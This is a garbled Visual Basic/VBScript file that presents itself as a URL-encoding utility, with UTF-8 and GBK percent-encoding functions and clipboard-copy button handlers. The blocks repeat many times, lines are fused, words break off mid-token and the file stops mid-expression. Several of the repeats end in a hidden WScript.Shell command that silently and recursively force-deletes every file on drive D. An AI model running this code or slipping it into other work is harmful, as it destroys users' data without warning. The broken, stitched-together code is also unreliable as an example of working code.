Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConFunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 